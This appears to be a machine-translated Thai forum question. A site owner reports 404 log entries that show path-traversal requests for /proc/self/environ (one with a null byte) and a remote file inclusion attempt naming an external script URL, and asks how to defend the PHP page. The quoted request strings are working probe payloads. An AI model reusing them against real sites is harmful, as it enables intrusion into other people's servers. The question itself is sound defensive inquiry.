เมื่อดูบันทึก 404 รายการของฉันฉันสังเกตเห็น URL สองรายการต่อไปนี้ซึ่งทั้งคู่เกิดขึ้นครั้งเดียว:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
และ
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
หน้าคำถามlibrary.php
ต้องใช้type
ตัวแปรที่มีค่าที่ยอมรับได้แตกต่างกันครึ่งโหลแล้วจึงเป็นid
ตัวแปร ดังนั้น URL ที่ถูกต้องอาจเป็น
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
และรหัสทั้งหมดจะถูกเรียกใช้mysql_real_escape_string
ก่อนที่จะถูกใช้เพื่อสอบถามฐานข้อมูล
ฉันเป็นมือใหม่ แต่สำหรับฉันแล้วดูเหมือนว่าลิงก์ทั้งสองนี้เป็นการโจมตีแบบง่าย ๆ กับ webroot?
1)วิธีที่ดีที่สุดในการป้องกันสิ่งต่าง ๆ เหล่านี้นอกเหนือจาก 404
2)ฉันควรอนุญาต IP ที่รับผิดชอบหรือไม่
แก้ไข:เพิ่งสังเกตเห็นสิ่งนี้
/library.php=http://www.basfalt.no/scripts/danger.txt
แก้ไข 2: IP ที่ละเมิดสำหรับการโจมตีทั้ง 3 ครั้งนั้น216.97.231.15
มีร่องรอยของ ISP ที่เรียกว่า Lunar Pages ซึ่งอยู่นอกลอสแองเจลิส
แก้ไข 3:ฉันตัดสินใจโทร ISP ตามเวลาท้องถิ่นในเช้าวันศุกร์และหารือเกี่ยวกับปัญหากับใครก็ตามที่ฉันสามารถโทรศัพท์ได้ ฉันจะโพสต์ผลลัพธ์ที่นี่ภายใน 24 ชั่วโมงหรือมากกว่านั้น
แก้ไข 4:ฉันสิ้นสุดการส่งอีเมลผู้ดูแลระบบของพวกเขาและพวกเขาตอบก่อนว่า "พวกเขากำลังมองหามัน" และจากนั้นอีกหนึ่งวันต่อมากับ "ปัญหานี้ควรได้รับการแก้ไขในขณะนี้" ไม่มีรายละเอียดเพิ่มเติมเศร้า
type
บอกสคริปต์ซึ่งรวมถึงการใช้งาน (แม้ว่าจะผ่านIF $_GET['type'] == 'thing') {} ESLE...
ไม่เป็นเหมือนการเชื่อมโยงโดยตรงinclude 'type.php'
) และid
มีการเรียกใช้ผ่าน mysql_real_escape_string และที่ถูกนำมาใช้สำหรับการค้นหา รู้ว่าฉันยังปลอดภัยหรือไม่